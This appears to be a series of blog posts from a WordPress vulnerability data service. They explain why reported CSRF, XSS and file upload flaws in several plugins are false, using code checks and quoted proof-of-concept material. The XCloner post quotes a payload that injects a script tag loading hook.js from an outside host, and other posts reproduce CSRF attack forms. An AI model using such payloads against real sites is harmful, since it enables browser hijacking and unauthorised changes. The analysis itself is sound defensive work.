20 Mar

False Vulnerability Report: Store XSS Vulnerability in WP Markdown Editor

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

When it comes to false reports of vulnerabilities in WordPress plugins some of them don’t set off any red-flags until you start to look closely at them. Others, like a recent report claiming there was persistent cross-site scripting (XSS) in the plugin WP Markdown Editor set off multiple red-flags with the just a quick glance, though they still require being fully checked as some reports of actual vulnerabilities end up being quite of poor quality.

The first red-flag in the report was that there was no code or other detailed information provided; instead the report consisted entirely of a small amount of text and three screenshots. If the person behind the report hadn’t looked at the underlying code, they could have missed important information that would have let them understand if a vulnerability actually existed or not.

That issue is particularly acute in this case because the screenshots showed saving JavaScript code on the page for adding a new post to WordPress and being saved. Normally both Editor and Administrator-level users are allowed to do just that due to having the unfiltered_html capability, so the action being taken is also a red-flag that this might be false.

To test out the vulnerability we first tried taking the actions show in the report logged in as an Author-level user. We entered the code on a new post as suggested in the report and clicked the “Toggle Preview” button and the JavaScript ran, which really isn’t a vulnerability (as we will come back to in a bit). Since this is supposed to be a persistent XSS vulnerability this JavaScript code needs to persist when saving the post, but it didn’t. It didn’t even get displayed when previewing the post normally.

We then tried everything again but with an Administrator-level user. Unlike the previous instance the JavaScript remained when saving the post. That would indicate that the plugin was not actually permitting persistent XSS, as Administrator-level users, unlike Author-level users, should be able to do that and the reporter likely did their testing using a user with the unfiltered_html capability.

As confirmation of that we tried things again with an Editor-level user that had the unfiltered_html capability removed and the JavaScript was not saved.

So there isn’t a persistent XSS vulnerability, but what about the JavaScript code running for the Author-level user when clicking the “Toggle Preview” button. Seeing as the user would be taking the actions to cause that it would probably be classified as self XSS, which isn’t a vulnerability, but a social engineering attack because you would need to trick someone into doing that. Is that a concern? Not really, since the same exact thing could be done by getting them to enter JavaScript code into their web browser’s console.

WPScan Spreads a False Report

While we actually test out vulnerabilities before adding them to our data, so we avoid including false reports like this, other data sources clearly do not. Take the WPScan Vulnerability Database, which is the true source of WordPress plugin vulnerability data for almost any service or plugin other than ours that provides that type of data,  it has this false vulnerability in their data set:

That is despite those major red flags that the vulnerability likely didn’t exist.

Why Was The Plugin Removed From the Plugin Directory?

If you visiting the page for the plugin in the Plugin Directory now you will get this as the plugin has been removed:

As of a couple of weeks ago it was there. Was it removed due to the Plugin Directory incorrectly believing there was vulnerability in it? Maybe, but it could also be something else. Unfortunately the people behind the Plugin Directory continue to keep people in the dark about removed plugins.

21 Nov

False Vulnerability Report: Cross Site Request Forgery / Cross Site Scripting in MailChimp for WordPress 4.0.7

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them. The data on these false reports is also included in our service’s data.

There seem to be a variety of causes for false reports of vulnerabilities in WordPress plugins, including lack of proper testing of possible vulnerabilities, intentional false reports, and what seems to be the cause of lot of them, the reporter not really understanding what the vulnerability would actually involve. No matter how obvious it is that they are false, these reports often get presented along side legitimate reports, that includes in WordPress security plugins, as we were just discussing when it comes to one plugin earlier today.

The false report of a claimed cross-site request forgery (CSRF)/cross-site scripting vulnerability in MailChimp for WordPress version 4.0.7 looks to fall in the category of the reporter not knowing what the vulnerability would actually involve.

To protect against cross-site request forgery in WordPress a nonce is used. So if a relevant request can be made without a nonce being provided in the request or with out a valid nonce, there is a vulnerability. Here is the beginning of the proof of concept for the claimed vulnerability:

<form action="http://localhost/wp/wp-admin/admin.php?page=mailchimp-for-wp-forms&view=edit-form&form_id=60" method="POST">


Title:<input type="text" name="mc4wp_form[name]" size="30" value="For Testing" id="title" spellcheck="true" autocomplete="off" placeholder="Enter the title of your sign-up form" style="line-height: initial;" >
<input type="submit" style="display: none; " />
<input type="hidden" name="_mc4wp_action" value="edit_form" />
<input type="hidden" name="mc4wp_form_id" value="60" />
<input type="hidden" id="_mc4wp_nonce" name="_mc4wp_nonce" value="ad1a3e81af" />

The lasts line is the nonce and it looks like a valid one (as opposed to a placeholder, if the plugin’s code didn’t actual check to see if the nonce value is valid). A valid value only works with the particular website and user, so a proof of concept showing that indicates that the person behind the report doesn’t understand this type of vulnerability when it comes to WordPress. Just to be sure we checked and found that when submitting the request that is supposed to be vulnerable, with either no nonce or and invalid one the plugin properly recognizes the situation and does not permit the request. Therefore there is no vulnerability.

14 Oct

False Vulnerability Report: Cross Site Request Forgery / Cross Site Scripting in Newsletter 4.6.0

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

Yesterday a report of a cross-site request forgery (CSRF)/cross-site scripting (XSS) vulnerability in version 4.6.0 of the Newsletter plugin was released. The changelog noted a security fix in the version it was supposed to have been fixed in, but the wording seemed to downplay the claimed issue, as it said “Fixed a security issue on admin side only exploitable by logged in admins”. A cross-site request forgery vulnerability involves getting someone else to access a URL that causes them to send a request to their website, so if the vulnerability had existed, to say that it was only “exploitable by logged in admins” would have been true, but misleading, since it would not have required them to be trying to exploit the vulnerability. But as we quickly found, the misleading part was describing it as a security issue.

The report claimed that the issue was on one plugin’s setting pages, /wp-admin/admin.php?page=newsletter_subscription_lists. When we installed version 4.6.0 of the plugin and visited the page we found that the page contained nonce input in the form that was supposed to have the cross-site request forgery issue. So either the nonce was not being properly checked when the request was submitted or the report was false. A quick checked showed that when an invalid nonce or no nonce was include the request was properly rejected.

A closer look at the report showed that the proof of concept for exploiting this included a nonce as the second input:

act=save&btn=&_wpnonce=7cad5407b5

So the person reporting this must not have understood that what that was and that its presence meant that cross-site request forgery was not possible and therefore no vulnerability. The changes made in version 4.6.1, which they claimed fix this, confirm that, as no changes were made related to CSRF protection. The changes instead related to escaping some values, but as the settings page is only accessible by Administrators and they normally have the unfiltered_html capability, their use of the equivalent of cross-site scripting would normally be permitted, so the issue would be better described as a bug.

15 Aug

False Vulnerability Report: WP Job Manager Arbitrary File Upload Vulnerability

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

Sometimes false reports of vulnerabilities are fairly easy to identify as likely being false without having to dig in to things, when the supposed proof of the vulnerability doesn’t match with what you should see with exploitation of a vulnerability. That was the case with a recent claim of an arbitrary file upload vulnerability in the WP Job Manager plugin. While an arbitrary file upload vulnerability allows any type of file to be uploaded, hence the name, hackers would normally use it to upload .php files. In this case those examples involved uploading .txt files. Also missing from the advisory was any information on the underlying code handling uploads, which if shown would have shown that the report was false.

The vulnerability was supposed to exist in the ability to upload a logo when creating a job posting through the plugin. If you try to upload a .php file through that you will get back error message that says:

Invalid file type. Accepted types: jpg|jpeg|gif|png

This is due to the JavaScript code that restricts the type of files that can be uploaded to the ones listing defined in the data-file_types attribute of the input (the JavaScript code that causes this is located in the file /assets/js/ajax-file-upload.min.js):

<input type="file" class="input-text wp-job-manager-file-upload" data-file_types="jpg|jpeg|gif|png"  name="company_logo" id="company_logo" placeholder="" />

So you are only intended to be able to upload jpg, jpeg, gif, or png files through that. Since the checking is done in JavaScript, which runs on the client side, an attacker could just disable that code, so it doesn’t provide actual protection.

With that code disabled, uploading a .php file will cause the following message to be returned instead:

Uploaded files need to be one of the following file types: jpg|jpeg|jpe, gif, png, bmp, tiff|tif, ico, asf|asx, wmv, wmx, wm, avi, divx, flv, mov|qt, mpeg|mpg|mpe, mp4|m4v, ogv, webm, mkv, 3gp|3gpp, 3g2|3gp2, txt|asc|c|cc|h|srt, csv, tsv, ics, rtx, css, htm|html, vtt, dfxp, mp3|m4a|m4b, ra|ram, wav, ogg|oga, mid|midi, wma, wax, mka, rtf, js, pdf, class, tar, zip, gz|gzip, rar, 7z, psd, xcf, doc, pot|pps|ppt, wri, xla|xls|xlt|xlw, mdb, mpp, docx, docm, dotx, dotm, xlsx, xlsm, xlsb, xltx, xltm, xlam, pptx, pptm, ppsx, ppsm, potx, potm, ppam, sldx, sldm, onetoc|onetoc2|onetmp|onepkg, oxps, xps, odt, odp, ods, odg, odc, odb, odf, wp|wpd, key, numbers, pages

That message comes from the job_manager_upload_file() function in the file /wp-job-manager-functions.php. The message is due to a check to see if the file that is submitted for upload has an allowed mime type:

690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
function job_manager_upload_file( $file, $args = array() ) {
	global $job_manager_upload, $job_manager_uploading_file;
 
	include_once( ABSPATH . 'wp-admin/includes/file.php' );
	include_once( ABSPATH . 'wp-admin/includes/media.php' );
 
	$args = wp_parse_args( $args, array(
		'file_key'           =&gt; '',
		'file_label'         =&gt; '',
		'allowed_mime_types' =&gt; get_allowed_mime_types()
	) );
 
	$job_manager_upload         = true;
	$job_manager_uploading_file = $args['file_key'];
	$uploaded_file              = new stdClass();
 
	if ( ! in_array( $file['type'], $args['allowed_mime_types'] ) ) {
		if ( $args['file_label'] ) {
			return new WP_Error( 'upload', sprintf( __( '"%s" (filetype %s) needs to be one of the following file types: %s', 'wp-job-manager' ), $args['file_label'], $file['type'], implode( ', ', array_keys( $args['allowed_mime_types'] ) ) ) );
		} else {
			return new WP_Error( 'upload', sprintf( __( 'Uploaded files need to be one of the following file types: %s', 'wp-job-manager' ), implode( ', ', array_keys( $args['allowed_mime_types'] ) ) ) );

The allowed mime types come from the WordPress function get_allowed_mime_types(), which is located in the file /wp-include/functions.php. That in turn gathers a list of mime types from the function wp_get_mime_type() in the same file, which is where the list of file types show in the message that starts “Uploaded files need to be one of the following file types:” comes from.

Since the types of files that can be upload is limited the arbitrary file upload vulnerability does not exist. That still leaves the issue that someone can upload a lot more types of files than are actually intended for the logo, so depending on what else is intended to uploadable through plugin, the developer may want to place additional restrictions in the PHP portion of the code on what can be uploaded.

01 Aug

False Vulnerability Report: Self XSS Vulnerability in Yoast SEO 3.3.2

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a self XSS vulnerability in Yoast SEO.

When we ran across this one we were not even familiar with what a self XSS was. As defined by the Wikipedia it is a “a social engineering attack used to gain control of victims’ web accounts” that “operates by tricking users into copying and pasting malicious content into their browsers’ web developer console“. That doesn’t apply to a WordPress plugin vulnerability, so it seems that Netsparker was referring to cross-site scripting (XSS) done by the victim.  That would be a social engineering attack, not a vulnerability, so calling the issue a vulnerability really doesn’t make much sense.

It gets more problematic in this case since when we went to look into where this vulnerability was supposed to be, we found the claimed vulnerability involves the plugin’s “Bulk editor” tool, which is only available to Administrator level users. Those users would normally have the unfiltered_html capability, which permits them to use the equivalent of cross-site scripting, so it isn’t a vulnerability for them to be able to do cross-site scripting. And if you can social engineer them to insert malicious code like this, you should be able to get them to do that in a post or page, so by the same token WordPress itself would be vulnerable, if this was a vulnerability.  Beyond that, you always do the equivalent of this through the more common meaning of self XSS by the malicious content to the “web developer console”, so trying to claim this as a vulnerability is just odd.

Also, if you were trying to socially engineer a WordPress Administrator it seems like there would be much more effective things to try, like say getting them to installed a plugin with security vulnerability.

While this isn’t a vulnerability, it could be considered a bug. The Yoast SEO developers seem to be of the same mind on that, seeing as the changelog for the new version that is supposed to have fixed this vulnerability, they were refer to it as a “bugfix” and state:

Fixes a bug where changing the title in the bulk editor could be used to trigger JavaScript for the current user.

29 Jul

False Vulnerability Report: Multiple Stored XSS Vulnerability in Clicky by Yoast 1.4.3

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a multiple persistent cross-site scripting (XSS) vulnerabilities in Clicky by Yoast.

Right off the bat something looked wrong here, the URL in the proof of concept to exploit the claimed vulnerability, /wordpress/wp-admin/options-general.php?page=clicky, is only accessible by Administrator level users. Seeing as they would normally have the unfiltered_html capability, which permits them to use the equivalent of cross-site scripting, this would seem to not be a vulnerability on its own. If there was a cross-site request forgery (CSRF) vulnerability in saving the plugin’s settings, then there could still be an issue by using that to allow the persistent XSS that is supposed to exist in that code to be exploited.

The settings are saved in the function config_page() in the file /click.php, in the claimed vulnerable version, 1.4.3, there is proper protection against CSRF is in place:

233
234
235
236
237
238
239
240
function config_page() {
	$options = clicky_get_options();
 
	if ( isset( $_POST['submit'] ) ) {
		if ( ! current_user_can( 'manage_options' ) ) {
			die( __( 'You cannot edit the Clicky settings.', 'clicky' ) );
		}
		check_admin_referer( 'clicky-config' );

What comes right after that in the code makes it harder to understand where the claim that there was a vulnerability could have come from, as all of the supposedly vulnerable inputs are run through the sanitize_text_field() function when their value is brought in to the plugin:

242
243
244
245
246
247
248
		foreach ( array( 'site_id', 'site_key', 'admin_site_key', 'outbound_pattern' ) as $option_name ) {
			if ( isset( $_POST[ $option_name ] ) ) {
				$options[ $option_name ] = sanitize_text_field( $_POST[ $option_name ] );
			} else {
				$options[ $option_name ] = '';
			}
		}

Netsparker doesn’t provide any information on why they think that doesn’t properly sanitize them in this case, which would be important to know for other situations where the other restrictions in place here are not in place.

29 Jul

False Vulnerability Report: Reflected XSS Vulnerability in WP-Polls 2.73

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

If you are going to promote your “web application security scanner” as being “False positive free” as Netsparker does, it would probably be a good not to release advisories for vulnerabilities that don’t actually exist, using data from that tool. But that is what Netsparker did with several recent advisories for WordPress plugins, including a claim of a reflected cross-site scripting (XSS) vulnerability in WP-Polls.

Very little information was provided with the advisory, so to get a better idea of what was going on, we looked at changes made in version 2.73.1, which was supposed to have fixed this.

In the file /polls-options.php, the code that brings the POST input “poll_bar_style”, which was supposed to be the vulnerable input, in to the plugin has been changed.

It looks like this in 2.73:

34
$poll_bar_style = strip_tags(trim($_POST['poll_bar_style']));

And this in 2.73.1

49
$poll_bar_style             = isset( $_POST['poll_bar_style'] ) &amp;&amp; in_array( $_POST['poll_bar_style'], array_merge( array_keys( $poll_bars ), array( 'use_css' ) ) ) ? $_POST['poll_bar_style'] : 'default';

So the code has been changed to restrict what can be set at the value, the previous code had the possibility of leading to reflected XSS depending on how the rest of the code works.

Looking up just one line in the code though shows that their is no reflected XSS possible though, because in 2.73, which was supposed to be vulnerable, you need to provide a valid nonce with the request that would lead to the possibility of reflected XSS:

check_admin_referer('wp-polls_options');

Since an attacker would not have access to a valid nonce for someone else, there is no possibility of causing someone else to send a valid request where the POST input “poll_bar_style” is displayed, so there is no reflected cross-site scripting (XSS) vulnerability. Restricting what can be input for the POST input “poll_bar_style”, as was done by the plugin’s developer in 2.73.1, is still a good idea as it provides extra protection against the possibly of some future issue.

28 Jul

False Vulnerability Report: Stored XSS in XCloner

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

One of the problems in determining if a report of a vulnerability in a plugin is real or not, is that sometimes a developer will make changes to the plugin based on a report even if there is not a vulnerability. In one past case that involved this the developer added duplicative sanitization to a plugin. In the case of a report of a stored XSS (or what we refer to a persistent cross-site scripting (XSS)) vulnerability in the plugin XCloner, the developer added sanitization code that isn’t duplicative, but doesn’t fix a security vulnerability.

In versions prior to 3.1.5 of the plugin, it was possible to insert html tags in settings fields, so that JavaScript code could be added to them and run. Depending on how and who could do that could be a persistent cross-site (XSS) vulnerability. In this case, the advisory indicated that they would be saved on admin page in WordPress. Since the relevant page, is only accessible by Administrator level users, that in itself wouldn’t be a vulnerability since they have they normally unfiltered_html capability, which allows them to do the equivalent of XSS. Since the settings were not intended to be able to output JavaScript code, it could be considered a bug though. There still could be a security vulnerability if the saving of settings is susceptible to cross-site request forgery (CSRF), which causes someone’s web browser to take action on a website that they did not intend.

The proof of concept provided with the report seem to indicate that was the case, seeing as you protect against CSRF with a nonce and there was no nonce include in it:

     <html>
         <form 
action="http://<target>/wordpress/wp-admin/plugins.php?page=xcloner_show&option=com_cloner&task=config" 
method="post">
             <input type="hidden" name="cron_bname" 
value="1%22%3E%3Cscript+src%3Dhttp%3A%2F%2F172.16.146.128%3A3000%2Fhook.js+on" 
/>
             <input type="submit" name="submit">
         </form>
     </html>

Looking at the changes made in the version they reported fixed the issue, there was no changes related to a nonce checking, which left open the possibility there was still an unfixed CSRF vulnerability in the plugin.

When we tested out the proof of concept, we found it didn’t work. A quick look at the code showed why, there was in fact the CSRF protection in the function config(), which handles saving the settings:

132
133
134
135
136
137
138
139
140
141
142
function config($option)
{
  global $mosConfig_absolute_path, $_CONFIG, $config_file;
 
 
  if (@$_REQUEST['action'] == 'save') {
 
	  if ( empty($_POST) || !wp_verify_nonce($_POST['csrf'],'save') ){
		print 'Sorry, your nonce did not verify.';
		exit;
	  }

Without a cross-site request forgery (CSRF) vulnerability existing, there wasn’t a vulnerability that had existed in older versions, just a bug.

12 Jul

False Vulnerability Report: WP-DownloadManager Arbitrary File Upload Vulnerability

As part of our cataloging the vulnerabilities in WordPress plugins for our service we come across false reports of vulnerabilities from time to time. So that others don’t spend their time looking over these as well, we post our findings on them.

One thing we frequently see coming up with false reports of vulnerabilities is people not understanding that certain activities are not always a vulnerability. One serious type of vulnerability is an arbitrary file upload vulnerability, which allows someone to upload any file. That could be used to upload a .php file with malicious code and then do basically anything with the website. In WordPress an Administrator level user would normally have the equivalent capability since the can upload new plugins and themes, so it wouldn’t be a vulnerability for a plugin to allow them to do the same.

That brings to a report claiming there is an arbitrary file upload vulnerability in the plugin WP-DownloadManager. The proof of concept for this says “Unrestricted File Upload In Admin Panel You Can Upload shell.php” and indicates the page to visit for this is http://localhost/wp/wp-admin/admin.php?page=wp-downloadmanager/download-add.php. A quick checked showed that this page is only accessible by Administrator level users, for which this wouldn’t be a vulnerability.

To get more technical, access to that page is restricted to users that have “manage_downloads” capability, as seen in the file /wp-downloadmanager.php:

53
add_submenu_page('wp-downloadmanager/download-manager.php', __('Add File', 'wp-downloadmanager'), __('Add File', 'wp-downloadmanager'), 'manage_downloads', 'wp-downloadmanager/download-add.php');

The “manage_downloads” capability is adding to Administrator role later in the file:

1587
1588
1589
1590
1591
// Set 'manage_downloads' Capabilities To Administrator
$role = get_role('administrator');
if(!$role-&gt;has_cap('manage_downloads')) {
	$role-&gt;add_cap('manage_downloads');
}

The page also proper utilizes a nonce, so cross-site request forgery (CSRF) is not possible on that page.